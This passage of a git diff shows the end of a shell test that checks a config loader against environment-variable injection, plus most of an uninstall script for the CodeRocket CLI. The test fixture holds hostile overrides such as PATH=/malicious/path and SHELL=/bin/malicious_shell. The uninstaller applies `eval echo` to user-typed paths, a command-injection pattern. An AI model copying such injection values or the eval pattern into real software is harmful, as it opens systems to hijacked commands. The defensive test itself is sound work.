+# 创建包含不同类型变量的配置文件
+cat > "$TEST_DIR/.env_filter" << 'EOF'
+# 应该被加载的变量
+AI_SERVICE=test_service
+GITLAB_TOKEN=test_token
+GEMINI_API_KEY=test_key
+CLAUDECODE_MODEL=test_model
+REVIEW_TIMING=post-commit
+
+# 不应该被加载的变量
+PATH=/malicious/path
+HOME=/tmp/fake_home
+SHELL=/bin/malicious_shell
+RANDOM_VAR=should_not_load
+EOF
+
+# 记录原始变量
+ORIGINAL_PATH="$PATH"
+ORIGINAL_HOME="$HOME"
+
+# 加载配置
+safe_load_env "$TEST_DIR/.env_filter"
+
+TESTS_RUN=$((TESTS_RUN + 1))
+
+# 检查只有允许的变量被加载
+if [ "$AI_SERVICE" = "test_service" ]; then
+ echo -e " ${GREEN}✓ AI_SERVICE 被正确加载${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+else
+ echo -e " ${RED}✗ AI_SERVICE 加载失败: '$AI_SERVICE'${NC}"
+fi
+
+TESTS_RUN=$((TESTS_RUN + 1))
+
+# 检查系统变量没有被覆盖
+if [ "$PATH" = "$ORIGINAL_PATH" ]; then
+ echo -e " ${GREEN}✓ PATH 变量未被恶意覆盖${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+else
+ echo -e " ${RED}✗ PATH 变量被恶意覆盖${NC}"
+fi
+
+TESTS_RUN=$((TESTS_RUN + 1))
+
+# 检查随机变量没有被加载
+if [ -z "$RANDOM_VAR" ]; then
+ echo -e " ${GREEN}✓ 随机变量被正确过滤${NC}"
+ TESTS_PASSED=$((TESTS_PASSED + 1))
+else
+ echo -e " ${RED}✗ 随机变量未被过滤: '$RANDOM_VAR'${NC}"
+fi
+
+# 清理测试文件
+rm -rf "$TEST_DIR"
+rm -f /tmp/test_file
+
+echo ""
+echo "📊 安全测试结果"
+echo "=============="
+echo "总计测试: $TESTS_RUN"
+echo -e "${GREEN}通过: $TESTS_PASSED${NC}"
+echo -e "${RED}失败: $((TESTS_RUN - TESTS_PASSED))${NC}"
+
+if [ $TESTS_PASSED -eq $TESTS_RUN ]; then
+ echo -e "${GREEN}🎉 所有安全测试通过!${NC}"
+ exit 0
+else
+ echo -e "${RED}❌ 有 $((TESTS_RUN - TESTS_PASSED)) 个安全测试失败${NC}"
+ exit 1
+fi
diff --git a/uninstall.sh b/uninstall.sh
new file mode 100755
index 0000000..117d168
--- /dev/null
+++ b/uninstall.sh
@@ -0,0 +1,1026 @@
+#!/bin/bash
+
+# CodeRocket CLI 卸载脚本
+# 完全移除 CodeRocket CLI 及其所有组件
+
+set -e
+
+# 颜色定义
+RED='\033[0;31m'
+GREEN='\033[0;32m'
+YELLOW='\033[1;33m'
+BLUE='\033[0;34m'
+CYAN='\033[0;36m'
+NC='\033[0m' # No Color
+
+# 配置
+INSTALL_DIR="$HOME/.coderocket"
+USER_BIN_DIR="$HOME/.local/bin"
+GLOBAL_BIN_DIR="/usr/local/bin"
+GIT_TEMPLATE_DIR="$HOME/.git-templates"
+
+# 显示横幅
+show_uninstall_banner() {
+ echo -e "${RED}"
+ echo "╔══════════════════════════════════════════════════════════════╗"
+ echo "║ CodeRocket CLI 卸载 ║"
+ echo "║ ║"
+ echo "║ ⚠️ 警告:此操作将完全移除 CodeRocket CLI ║"
+ echo "║ 包括所有配置、日志和 Git hooks ║"
+ echo "╚══════════════════════════════════════════════════════════════╝"
+ echo -e "${NC}"
+}
+
+# 检查是否安装了 CodeRocket
+check_installation() {
+ if [ ! -d "$INSTALL_DIR" ]; then
+ echo -e "${YELLOW}⚠️ CodeRocket CLI 似乎未安装或已被移除${NC}"
+ echo "安装目录不存在: $INSTALL_DIR"
+
+ # 检查是否有残留的全局命令
+ local has_global_commands=false
+ for cmd in coderocket codereview-cli cr; do
+ if [ -f "$GLOBAL_BIN_DIR/$cmd" ] || [ -f "$USER_BIN_DIR/$cmd" ]; then
+ has_global_commands=true
+ break
+ fi
+ done
+
+ if [ "$has_global_commands" = true ]; then
+ echo -e "${BLUE}但发现了残留的命令文件,继续清理...${NC}"
+ else
+ echo -e "${GREEN}✓ 系统中未发现 CodeRocket CLI 相关文件${NC}"
+ exit 0
+ fi
+ fi
+}
+
+# 确认卸载
+confirm_uninstall() {
+ echo -e "${YELLOW}即将卸载以下内容:${NC}"
+ echo ""
+
+ # 显示将要删除的内容
+ echo -e "${CYAN}📁 安装目录:${NC}"
+ if [ -d "$INSTALL_DIR" ]; then
+ echo " ✓ $INSTALL_DIR"
+ else
+ echo " - $INSTALL_DIR (不存在)"
+ fi
+
+ echo -e "\n${CYAN}🔧 全局命令:${NC}"
+ for cmd in coderocket codereview-cli cr; do
+ if [ -f "$GLOBAL_BIN_DIR/$cmd" ]; then
+ echo " ✓ $GLOBAL_BIN_DIR/$cmd"
+ else
+ echo " - $GLOBAL_BIN_DIR/$cmd (不存在)"
+ fi
+ done
+
+ echo -e "\n${CYAN}👤 用户命令:${NC}"
+ for cmd in coderocket codereview-cli cr; do
+ if [ -f "$USER_BIN_DIR/$cmd" ]; then
+ echo " ✓ $USER_BIN_DIR/$cmd"
+ else
+ echo " - $USER_BIN_DIR/$cmd (不存在)"
+ fi
+ done
+
+ echo -e "\n${CYAN}🔗 Git 模板:${NC}"
+ if [ -d "$GIT_TEMPLATE_DIR" ]; then
+ echo " ✓ $GIT_TEMPLATE_DIR"
+ else
+ echo " - $GIT_TEMPLATE_DIR (不存在)"
+ fi
+
+ echo -e "\n${CYAN}⚙️ Shell 配置:${NC}"
+ echo " • 将从 shell 配置文件中移除 PATH 配置"
+ echo " • 将恢复配置文件备份(如果存在)"
+
+ echo ""
+ echo -e "${RED}⚠️ 注意:此操作不可逆!${NC}"
+ echo ""
+
+ read -p "确定要继续卸载吗?(y/N): " -n 1 -r
+ echo
+ if [[ ! $REPLY =~ ^[Yy]$ ]]; then
+ echo -e "${BLUE}取消卸载${NC}"
+ exit 0
+ fi
+}
+
+# 移除安装目录
+remove_install_directory() {
+ echo -e "\n${BLUE}🗑️ 移除安装目录...${NC}"
+
+ if [ -d "$INSTALL_DIR" ]; then
+ # 显示目录大小
+ local dir_size=$(du -sh "$INSTALL_DIR" 2>/dev/null | cut -f1 || echo "未知")
+ echo -e "${YELLOW} 目录大小: $dir_size${NC}"
+
+ if rm -rf "$INSTALL_DIR"; then
+ echo -e "${GREEN} ✓ 已删除: $INSTALL_DIR${NC}"
+ else
+ echo -e "${RED} ✗ 删除失败: $INSTALL_DIR${NC}"
+ return 1
+ fi
+ else
+ echo -e "${YELLOW} - 目录不存在: $INSTALL_DIR${NC}"
+ fi
+}
+
+# 移除全局命令
+remove_global_commands() {
+ echo -e "\n${BLUE}🔧 移除全局命令...${NC}"
+
+ local removed_count=0
+ local failed_count=0
+
+ for cmd in coderocket codereview-cli cr; do
+ local cmd_file="$GLOBAL_BIN_DIR/$cmd"
+
+ if [ -f "$cmd_file" ]; then
+ if [ -w "$GLOBAL_BIN_DIR" ]; then
+ if rm -f "$cmd_file"; then
+ echo -e "${GREEN} ✓ 已删除: $cmd_file${NC}"
+ removed_count=$((removed_count + 1))
+ else
+ echo -e "${RED} ✗ 删除失败: $cmd_file${NC}"
+ failed_count=$((failed_count + 1))
+ fi
+ else
+ echo -e "${YELLOW} 需要管理员权限删除: $cmd_file${NC}"
+ if sudo rm -f "$cmd_file"; then
+ echo -e "${GREEN} ✓ 已删除: $cmd_file${NC}"
+ removed_count=$((removed_count + 1))
+ else
+ echo -e "${RED} ✗ 删除失败: $cmd_file${NC}"
+ failed_count=$((failed_count + 1))
+ fi
+ fi
+ else
+ echo -e "${YELLOW} - 不存在: $cmd_file${NC}"
+ fi
+ done
+
+ echo -e "${CYAN} 全局命令清理完成: 删除 $removed_count 个,失败 $failed_count 个${NC}"
+}
+
+# 移除用户命令
+remove_user_commands() {
+ echo -e "\n${BLUE}👤 移除用户命令...${NC}"
+
+ local removed_count=0
+
+ for cmd in coderocket codereview-cli cr; do
+ local cmd_file="$USER_BIN_DIR/$cmd"
+
+ if [ -f "$cmd_file" ]; then
+ if rm -f "$cmd_file"; then
+ echo -e "${GREEN} ✓ 已删除: $cmd_file${NC}"
+ removed_count=$((removed_count + 1))
+ else
+ echo -e "${RED} ✗ 删除失败: $cmd_file${NC}"
+ fi
+ else
+ echo -e "${YELLOW} - 不存在: $cmd_file${NC}"
+ fi
+ done
+
+ # 如果用户 bin 目录为空,询问是否删除
+ if [ -d "$USER_BIN_DIR" ] && [ -z "$(ls -A "$USER_BIN_DIR" 2>/dev/null)" ]; then
+ echo -e "${YELLOW} 用户 bin 目录为空,是否删除?${NC}"
+ read -p " 删除 $USER_BIN_DIR? (y/N): " -n 1 -r
+ echo
+ if [[ $REPLY =~ ^[Yy]$ ]]; then
+ if rmdir "$USER_BIN_DIR"; then
+ echo -e "${GREEN} ✓ 已删除空目录: $USER_BIN_DIR${NC}"
+ fi
+ fi
+ fi
+
+ echo -e "${CYAN} 用户命令清理完成: 删除 $removed_count 个${NC}"
+}
+
+# 检测用户的 shell
+detect_user_shell() {
+ if [ -n "$ZSH_VERSION" ]; then
+ echo "zsh"
+ elif [ -n "$BASH_VERSION" ]; then
+ echo "bash"
+ elif [ -n "$FISH_VERSION" ]; then
+ echo "fish"
+ else
+ # 从环境变量或进程信息推断
+ local shell_name=$(basename "$SHELL" 2>/dev/null || echo "bash")
+ echo "$shell_name"
+ fi
+}
+
+# 获取 shell 配置文件路径
+get_shell_config_file() {
+ local shell_name="$1"
+ local config_file=""
+
+ case "$shell_name" in
+ "bash")
+ config_file="$HOME/.bashrc"
+ # 在 macOS 上,bash 通常使用 .bash_profile
+ if [[ "$OSTYPE" == "darwin"* ]] && [ -f "$HOME/.bash_profile" ]; then
+ config_file="$HOME/.bash_profile"
+ fi
+ ;;
+ "zsh")
+ config_file="$HOME/.zshrc"
+ ;;
+ "fish")
+ config_file="$HOME/.config/fish/config.fish"
+ ;;
+ *)
+ # 默认使用 bash 配置
+ config_file="$HOME/.bashrc"
+ ;;
+ esac
+
+ echo "$config_file"
+}
+
+# 清理 shell 配置
+clean_shell_config() {
+ echo -e "\n${BLUE}⚙️ 清理 shell 配置...${NC}"
+
+ local user_shell=$(detect_user_shell)
+ local rc_file=$(get_shell_config_file "$user_shell")
+
+ echo -e "${YELLOW} 检测到 shell: $user_shell${NC}"
+ echo -e "${YELLOW} 配置文件: $rc_file${NC}"
+
+ if [ ! -f "$rc_file" ]; then
+ echo -e "${YELLOW} - 配置文件不存在${NC}"
+ return 0
+ fi
+
+ # 检查是否有 CodeRocket 相关配置
+ if ! grep -q "CodeRocket\|\.local/bin" "$rc_file" 2>/dev/null; then
+ echo -e "${YELLOW} - 未发现 CodeRocket 相关配置${NC}"
+ return 0
+ fi
+
+ # 创建备份
+ local backup_file="${rc_file}.backup.uninstall.$(date +%Y%m%d_%H%M%S)"
+ if cp "$rc_file" "$backup_file"; then
+ echo -e "${GREEN} ✓ 已备份配置文件: $backup_file${NC}"
+ else
+ echo -e "${RED} ✗ 备份配置文件失败${NC}"
+ return 1
+ fi
+
+ # 移除 CodeRocket 相关配置
+ local temp_file=$(mktemp)
+ local removed_lines=0
+
+ # 使用 awk 移除 CodeRocket 相关行
+ awk '
+ BEGIN { in_coderocket_block = 0 }
+ /# CodeRocket PATH 配置/ { in_coderocket_block = 1; next }
+ /export PATH=.*\.local\/bin/ && in_coderocket_block { in_coderocket_block = 0; next }
+ /set -gx PATH.*\.local\/bin/ && in_coderocket_block { in_coderocket_block = 0; next }
+ !in_coderocket_block { print }
+ ' "$rc_file" > "$temp_file"
+
+ # 计算移除的行数
+ local original_lines=$(wc -l < "$rc_file")
+ local new_lines=$(wc -l < "$temp_file")
+ removed_lines=$((original_lines - new_lines))
+
+ if [ $removed_lines -gt 0 ]; then
+ if mv "$temp_file" "$rc_file"; then
+ echo -e "${GREEN} ✓ 已移除 $removed_lines 行 CodeRocket 配置${NC}"
+ else
+ echo -e "${RED} ✗ 更新配置文件失败${NC}"
+ rm -f "$temp_file"
+ return 1
+ fi
+ else
+ echo -e "${YELLOW} - 未发现需要移除的配置${NC}"
+ rm -f "$temp_file"
+ fi
+
+ # 检查是否有安装时的备份文件需要恢复
+ local install_backup_pattern="${rc_file}.backup.[0-9]*_[0-9]*"
+ local latest_backup=""
+
+ for backup in $install_backup_pattern; do
+ if [ -f "$backup" ]; then
+ latest_backup="$backup"
+ fi
+ done
+
+ if [ -n "$latest_backup" ]; then
+ echo -e "${YELLOW} 发现安装时的备份文件: $latest_backup${NC}"
+ read -p " 是否恢复到安装前的配置?(y/N): " -n 1 -r
+ echo
+ if [[ $REPLY =~ ^[Yy]$ ]]; then
+ if cp "$latest_backup" "$rc_file"; then
+ echo -e "${GREEN} ✓ 已恢复到安装前的配置${NC}"
+ # 清理安装时的备份文件
+ rm -f $install_backup_pattern
+ echo -e "${GREEN} ✓ 已清理安装时的备份文件${NC}"
+ else
+ echo -e "${RED} ✗ 恢复配置失败${NC}"
+ fi
+ fi
+ fi
+}
+
+# 移除 Git 模板
+remove_git_templates() {
+ echo -e "\n${BLUE}🔗 移除 Git 模板...${NC}"
+
+ if [ -d "$GIT_TEMPLATE_DIR" ]; then
+ # 检查是否只包含 CodeRocket 相关内容
+ local has_other_content=false
+
+ # 检查 hooks 目录
+ if [ -d "$GIT_TEMPLATE_DIR/hooks" ]; then
+ for hook in "$GIT_TEMPLATE_DIR/hooks"/*; do
+ if [ -f "$hook" ] && ! grep -q "CodeRocket\|coderocket" "$hook" 2>/dev/null; then
+ has_other_content=true
+ break
+ fi
+ done
+ fi
+
+ # 检查其他文件
+ for item in "$GIT_TEMPLATE_DIR"/*; do
+ if [ -f "$item" ] || ([ -d "$item" ] && [ "$(basename "$item")" != "hooks" ]); then
+ has_other_content=true
+ break
+ fi
+ done
+
+ if [ "$has_other_content" = true ]; then
+ echo -e "${YELLOW} Git 模板目录包含其他内容,只删除 CodeRocket 相关文件${NC}"
+
+ # 只删除 CodeRocket 相关的 hooks
+ local removed_hooks=0
+ if [ -d "$GIT_TEMPLATE_DIR/hooks" ]; then
+ for hook in "$GIT_TEMPLATE_DIR/hooks"/*; do
+ if [ -f "$hook" ] && grep -q "CodeRocket\|coderocket" "$hook" 2>/dev/null; then
+ if rm -f "$hook"; then
+ echo -e "${GREEN} ✓ 已删除: $(basename "$hook")${NC}"
+ removed_hooks=$((removed_hooks + 1))
+ fi
+ fi
+ done
+ fi
+
+ echo -e "${CYAN} 删除了 $removed_hooks 个 CodeRocket hooks${NC}"
+ else
+ echo -e "${YELLOW} Git 模板目录只包含 CodeRocket 内容,删除整个目录${NC}"
+ if rm -rf "$GIT_TEMPLATE_DIR"; then
+ echo -e "${GREEN} ✓ 已删除: $GIT_TEMPLATE_DIR${NC}"
+ else
+ echo -e "${RED} ✗ 删除失败: $GIT_TEMPLATE_DIR${NC}"
+ fi
+ fi
+
+ # 检查并移除全局 Git 配置
+ local git_template_config=$(git config --global init.templatedir 2>/dev/null || echo "")
+ if [ "$git_template_config" = "$GIT_TEMPLATE_DIR" ]; then
+ echo -e "${YELLOW} 移除全局 Git 模板配置${NC}"
+ if git config --global --unset init.templatedir; then
+ echo -e "${GREEN} ✓ 已移除 Git 全局模板配置${NC}"
+ else
+ echo -e "${RED} ✗ 移除 Git 全局模板配置失败${NC}"
+ fi
+ fi
+ else
+ echo -e "${YELLOW} - Git 模板目录不存在${NC}"
+ fi
+}
+
+# 备份项目hooks
+backup_project_hooks() {
+ local project_dir="$1"
+ local hooks_dir="$project_dir/.git/hooks"
+ local backup_dir="$project_dir/.git/hooks.backup.coderocket.$(date +%Y%m%d_%H%M%S)"
+
+ if [ ! -d "$hooks_dir" ]; then
+ return 1
+ fi
+
+ # 只备份包含 CodeRocket 的 hooks
+ local has_coderocket_hooks=false
+ for hook in "$hooks_dir"/*; do
+ if [ -f "$hook" ] && grep -q "CodeRocket\|coderocket" "$hook" 2>/dev/null; then
+ has_coderocket_hooks=true
+ break
+ fi
+ done
+
+ if [ "$has_coderocket_hooks" = false ]; then
+ return 1
+ fi
+
+ # 创建备份目录
+ if mkdir -p "$backup_dir" 2>/dev/null; then
+ # 复制所有 hooks(保持权限)
+ for hook in "$hooks_dir"/*; do
+ if [ -f "$hook" ]; then
+ cp -p "$hook" "$backup_dir/" 2>/dev/null || true
+ fi
+ done
+ echo "$backup_dir"
+ return 0
+ else
+ return 1
+ fi
+}
+
+# 扫描并清理项目 hooks(增强版)
+clean_project_hooks() {
+ echo -e "\n${BLUE}🔍 扫描项目 Git hooks...${NC}"
+
+ # 询问是否扫描项目 hooks
+ echo -e "${YELLOW}是否扫描并清理项目中的 CodeRocket Git hooks?${NC}"
+ echo "这将搜索项目目录并移除 CodeRocket 相关的 hooks"
+ echo ""
+ echo -e "${CYAN}可选操作模式:${NC}"
+ echo " 1) 自动搜索常见目录"
+ echo " 2) 手动指定项目路径"
+ echo " 3) 跳过项目 hooks 清理"
+ echo ""
+ read -p "请选择操作模式 (1/2/3): " -n 1 -r
+ echo
+
+ case $REPLY in
+ 1)
+ echo -e "${BLUE}选择:自动搜索模式${NC}"
+ clean_project_hooks_auto
+ ;;
+ 2)
+ echo -e "${BLUE}选择:手动指定模式${NC}"
+ clean_project_hooks_manual
+ ;;
+ 3|*)
+ echo -e "${BLUE}跳过项目 hooks 清理${NC}"
+ return 0
+ ;;
+ esac
+}
+
+# 自动搜索并清理项目hooks
+clean_project_hooks_auto() {
+ echo -e "${YELLOW} 自动搜索项目目录...${NC}"
+
+ # 扩展的搜索目录列表
+ local search_dirs=(
+ "$HOME/Projects"
+ "$HOME/projects"
+ "$HOME/workspace"
+ "$HOME/work"
+ "$HOME/code"
+ "$HOME/src"
+ "$HOME/git"
+ "$HOME/repos"
+ "$HOME/Documents/Projects"
+ "$HOME/Documents/projects"
+ "$HOME/Desktop"
+ "$HOME/Downloads"
+ "/Users/Shared"
+ "$(pwd)" # 当前目录
+ )
+
+ # 允许用户添加自定义搜索目录
+ echo ""
+ echo -e "${CYAN}是否添加自定义搜索目录?${NC}"
+ read -p "输入额外的搜索路径(回车跳过): " custom_dir
+ if [ -n "$custom_dir" ] && [ -d "$custom_dir" ]; then
+ search_dirs+=("$custom_dir")
+ echo -e "${GREEN} ✓ 已添加: $custom_dir${NC}"
+ fi
+
+ local found_projects=()
+ local search_errors=()
+ local total_searched=0
+
+ echo -e "\n${YELLOW} 开始搜索项目...${NC}"
+
+ for search_dir in "${search_dirs[@]}"; do
+ if [ -d "$search_dir" ]; then
+ echo -e "${CYAN} 搜索: $search_dir${NC}"
+
+ # 使用 timeout 防止搜索时间过长
+ local search_timeout=30 # 30秒超时
+
+ # 查找 Git 仓库(限制深度避免搜索太久)
+ while IFS= read -r -d '' git_dir; do
+ local project_dir=$(dirname "$git_dir")
+ local hooks_dir="$git_dir/hooks"
+ total_searched=$((total_searched + 1))
+
+ # 显示搜索进度(每10个项目显示一次)
+ if [ $((total_searched % 10)) -eq 0 ]; then
+ echo -e "${CYAN} 已搜索 $total_searched 个仓库...${NC}"
+ fi
+
+ # 检查是否有 CodeRocket hooks
+ local has_coderocket_hooks=false
+ if [ -d "$hooks_dir" ]; then
+ for hook in "$hooks_dir"/*; do
+ if [ -f "$hook" ] && grep -q "CodeRocket\|coderocket" "$hook" 2>/dev/null; then
+ has_coderocket_hooks=true
+ break
+ fi
+ done
+ fi
+
+ if [ "$has_coderocket_hooks" = true ]; then
+ found_projects+=("$project_dir")
+ echo -e "${GREEN} ✓ 发现: $(basename "$project_dir")${NC}"
+ fi
+
+ done < <(timeout $search_timeout find "$search_dir" -maxdepth 3 -name ".git" -type d -print0 2>/dev/null || echo "")
+
+ # 检查搜索是否超时
+ if [ $? -eq 124 ]; then
+ search_errors+=("$search_dir (搜索超时)")
+ echo -e "${YELLOW} ⚠️ 搜索超时: $search_dir${NC}"
+ fi
+ else
+ echo -e "${YELLOW} 跳过不存在的目录: $search_dir${NC}"
+ fi
+ done
+
+ echo -e "${CYAN} 搜索完成: 检查了 $total_searched 个 Git 仓库${NC}"
+
+ # 显示搜索错误(如果有)
+ if [ ${#search_errors[@]} -gt 0 ]; then
+ echo -e "\n${YELLOW}⚠️ 搜索警告:${NC}"
+ for error in "${search_errors[@]}"; do
+ echo " • $error"
+ done
+ fi
+
+ if [ ${#found_projects[@]} -eq 0 ]; then
+ echo -e "${GREEN} ✓ 未发现包含 CodeRocket hooks 的项目${NC}"
+ return 0
+ fi
+
+ # 显示发现的项目
+ echo -e "\n${YELLOW}📋 发现 ${#found_projects[@]} 个包含 CodeRocket hooks 的项目:${NC}"
+ for i in "${!found_projects[@]}"; do
+ local project="${found_projects[$i]}"
+ local project_name=$(basename "$project")
+ local hooks_count=$(find "$project/.git/hooks" -type f -exec grep -l "CodeRocket\|coderocket" {} \; 2>/dev/null | wc -l)
+ echo " $((i+1)). $project_name ($hooks_count 个 hooks) - $project"
+ done
+
+ # 提供清理选项
+ echo ""
+ echo -e "${CYAN}清理选项:${NC}"
+ echo " 1) 全部清理(推荐)"
+ echo " 2) 逐个选择清理"
+ echo " 3) 备份后清理"
+ echo " 4) 跳过清理"
+ echo ""
+ read -p "请选择清理方式 (1/2/3/4): " -n 1 -r
+ echo
+
+ case $REPLY in
+ 1)
+ echo -e "${BLUE}选择:全部清理${NC}"
+ process_projects_batch "${found_projects[@]}"
+ ;;
+ 2)
+ echo -e "${BLUE}选择:逐个选择清理${NC}"
+ process_projects_selective "${found_projects[@]}"
+ ;;
+ 3)
+ echo -e "${BLUE}选择:备份后清理${NC}"
+ process_projects_with_backup "${found_projects[@]}"
+ ;;
+ 4|*)
+ echo -e "${BLUE}跳过项目 hooks 清理${NC}"
+ return 0
+ ;;
+ esac
+}
+
+# 批量处理项目hooks
+process_projects_batch() {
+ local projects=("$@")
+ local cleaned_projects=0
+ local failed_projects=0
+
+ echo -e "\n${BLUE}🚀 开始批量清理 ${#projects[@]} 个项目...${NC}"
+
+ for i in "${!projects[@]}"; do
+ local project="${projects[$i]}"
+ local project_name=$(basename "$project")
+ local progress=$((i + 1))
+
+ echo -e "\n${CYAN}[$progress/${#projects[@]}] 清理项目: $project_name${NC}"
+
+ if clean_single_project "$project"; then
+ cleaned_projects=$((cleaned_projects + 1))
+ else
+ failed_projects=$((failed_projects + 1))
+ echo -e "${RED} ✗ 清理失败${NC}"
+ fi
+ done
+
+ echo -e "\n${GREEN}📊 批量清理完成:${NC}"
+ echo " • ✅ 成功清理: $cleaned_projects 个项目"
+ echo " • ❌ 清理失败: $failed_projects 个项目"
+}
+
+# 选择性处理项目hooks
+process_projects_selective() {
+ local projects=("$@")
+ local cleaned_projects=0
+ local skipped_projects=0
+
+ echo -e "\n${BLUE}🎯 逐个选择清理模式${NC}"
+
+ for i in "${!projects[@]}"; do
+ local project="${projects[$i]}"
+ local project_name=$(basename "$project")
+ local hooks_count=$(find "$project/.git/hooks" -type f -exec grep -l "CodeRocket\|coderocket" {} \; 2>/dev/null | wc -l)
+
+ echo -e "\n${YELLOW}项目 $((i+1))/${#projects[@]}: $project_name${NC}"
+ echo " 路径: $project"
+ echo " CodeRocket hooks: $hooks_count 个"
+
+ # 显示具体的hooks
+ echo " 包含的 hooks:"
+ find "$project/.git/hooks" -type f -exec grep -l "CodeRocket\|coderocket" {} \; 2>/dev/null | while read hook; do
+ echo " • $(basename "$hook")"
+ done
+
+ echo ""
+ read -p " 是否清理此项目的 hooks?(y/N/q): " -n 1 -r
+ echo
+
+ case $REPLY in
+ [Yy])
+ if clean_single_project "$project"; then
+ cleaned_projects=$((cleaned_projects + 1))
+ else
+ echo -e "${RED} ✗ 清理失败${NC}"
+ fi
+ ;;
+ [Qq])
+ echo -e "${BLUE} 用户退出选择模式${NC}"
+ break
+ ;;
+ *)
+ echo -e "${BLUE} 跳过此项目${NC}"
+ skipped_projects=$((skipped_projects + 1))
+ ;;
+ esac
+ done
+
+ echo -e "\n${GREEN}📊 选择性清理完成:${NC}"
+ echo " • ✅ 清理项目: $cleaned_projects 个"
+ echo " • ⏭️ 跳过项目: $skipped_projects 个"
+}
+
+# 备份后处理项目hooks
+process_projects_with_backup() {
+ local projects=("$@")
+ local cleaned_projects=0
+ local backup_failed=0
+
+ echo -e "\n${BLUE}💾 备份后清理模式${NC}"
+ echo -e "${YELLOW}将为每个项目创建 hooks 备份${NC}"
+
+ for i in "${!projects[@]}"; do
+ local project="${projects[$i]}"
+ local project_name=$(basename "$project")
+ local progress=$((i + 1))
+
+ echo -e "\n${CYAN}[$progress/${#projects[@]}] 处理项目: $project_name${NC}"
+
+ # 创建备份
+ local backup_dir=$(backup_project_hooks "$project")
+ if [ $? -eq 0 ] && [ -n "$backup_dir" ]; then
+ echo -e "${GREEN} ✓ 备份创建: $backup_dir${NC}"
+
+ # 清理hooks
+ if clean_single_project "$project"; then
+ cleaned_projects=$((cleaned_projects + 1))
+ echo -e "${GREEN} ✓ 清理完成,备份已保存${NC}"
+ else
+ echo -e "${RED} ✗ 清理失败,但备份已保存${NC}"
+ fi
+ else
+ echo -e "${RED} ✗ 备份失败,跳过清理${NC}"
+ backup_failed=$((backup_failed + 1))
+ fi
+ done
+
+ echo -e "\n${GREEN}📊 备份清理完成:${NC}"
+ echo " • ✅ 成功处理: $cleaned_projects 个项目"
+ echo " • ❌ 备份失败: $backup_failed 个项目"
+ echo -e "\n${CYAN}💡 提示:备份文件位于各项目的 .git/hooks.backup.coderocket.* 目录${NC}"
+}
+
+# 清理单个项目的hooks
+clean_single_project() {
+ local project="$1"
+ local hooks_dir="$project/.git/hooks"
+ local project_name=$(basename "$project")
+ local removed_hooks=0
+ local failed_hooks=0
+
+ if [ ! -d "$hooks_dir" ]; then
+ echo -e "${YELLOW} ⚠️ hooks 目录不存在${NC}"
+ return 1
+ fi
+
+ # 清理 CodeRocket hooks
+ for hook in "$hooks_dir"/*; do
+ if [ -f "$hook" ] && grep -q "CodeRocket\|coderocket" "$hook" 2>/dev/null; then
+ local hook_name=$(basename "$hook")
+
+ # 尝试删除hook
+ if rm -f "$hook" 2>/dev/null; then
+ echo -e "${GREEN} ✓ 删除 hook: $hook_name${NC}"
+ removed_hooks=$((removed_hooks + 1))
+ else
+ echo -e "${RED} ✗ 删除失败: $hook_name (权限不足?)${NC}"
+ failed_hooks=$((failed_hooks + 1))
+ fi
+ fi
+ done
+
+ # 检查是否还有其他 CodeRocket 相关文件
+ local coderocket_files=$(find "$hooks_dir" -name "*coderocket*" -o -name "*CodeRocket*" 2>/dev/null | wc -l)
+ if [ $coderocket_files -gt 0 ]; then
+ echo -e "${YELLOW} ⚠️ 发现 $coderocket_files 个其他 CodeRocket 相关文件${NC}"
+ find "$hooks_dir" -name "*coderocket*" -o -name "*CodeRocket*" 2>/dev/null | while read file; do
+ echo " • $(basename "$file")"
+ done
+ fi
+
+ if [ $removed_hooks -gt 0 ]; then
+ echo -e "${GREEN} ✅ 清理完成: 删除 $removed_hooks 个 hooks${NC}"
+ if [ $failed_hooks -gt 0 ]; then
+ echo -e "${YELLOW} ⚠️ 部分失败: $failed_hooks 个 hooks 删除失败${NC}"
+ fi
+ return 0
+ elif [ $failed_hooks -gt 0 ]; then
+ echo -e "${RED} ❌ 清理失败: $failed_hooks 个 hooks 无法删除${NC}"
+ return 1
+ else
+ echo -e "${YELLOW} ℹ️ 未发现需要清理的 hooks${NC}"
+ return 0
+ fi
+}
+
+# 手动指定项目路径模式
+clean_project_hooks_manual() {
+ echo -e "${YELLOW} 手动指定项目路径模式${NC}"
+ echo "请输入要清理的项目路径(支持多个路径,用空格分隔)"
+ echo ""
+
+ local manual_projects=()
+
+ while true; do
+ read -p "项目路径(回车完成输入): " project_path
+
+ if [ -z "$project_path" ]; then
+ break
+ fi
+
+ # 展开路径(支持 ~ 和相对路径)
+ project_path=$(eval echo "$project_path")
+
+ if [ ! -d "$project_path" ]; then
+ echo -e "${RED} ✗ 目录不存在: $project_path${NC}"
+ continue
+ fi
+
+ if [ ! -d "$project_path/.git" ]; then
+ echo -e "${RED} ✗ 不是 Git 仓库: $project_path${NC}"
+ continue
+ fi
+
+ # 检查是否有 CodeRocket hooks
+ local has_coderocket_hooks=false
+ if [ -d "$project_path/.git/hooks" ]; then
+ for hook in "$project_path/.git/hooks"/*; do
+ if [ -f "$hook" ] && grep -q "CodeRocket\|coderocket" "$hook" 2>/dev/null; then
+ has_coderocket_hooks=true
+ break
+ fi
+ done
+ fi
+
+ if [ "$has_coderocket_hooks" = false ]; then
+ echo -e "${YELLOW} ⚠️ 未发现 CodeRocket hooks: $project_path${NC}"
+ read -p " 是否仍要添加到清理列表?(y/N): " -n 1 -r
+ echo
+ if [[ ! $REPLY =~ ^[Yy]$ ]]; then
+ continue
+ fi
+ fi
+
+ manual_projects+=("$project_path")
+ echo -e "${GREEN} ✓ 已添加: $(basename "$project_path")${NC}"
+ done
+
+ if [ ${#manual_projects[@]} -eq 0 ]; then
+ echo -e "${BLUE}未指定任何项目,跳过清理${NC}"
+ return 0
+ fi
+
+ echo -e "\n${YELLOW}📋 将清理以下 ${#manual_projects[@]} 个项目:${NC}"
+ for i in "${!manual_projects[@]}"; do
+ local project="${manual_projects[$i]}"
+ echo " $((i+1)). $(basename "$project") - $project"
+ done
+
+ echo ""
+ read -p "确认清理这些项目?(y/N): " -n 1 -r
+ echo
+
+ if [[ $REPLY =~ ^[Yy]$ ]]; then
+ process_projects_batch "${manual_projects[@]}"
+ else
+ echo -e "${BLUE}取消清理${NC}"
+ fi
+}
+
+# 清理其他残留文件
+clean_other_files() {
+ echo -e "\n${BLUE}🧹 清理其他残留文件...${NC}"
+
+ local cleaned_files=0
+
+ # 清理可能的日志文件
+ local log_dirs=(
+ "$HOME/.cache/coderocket"
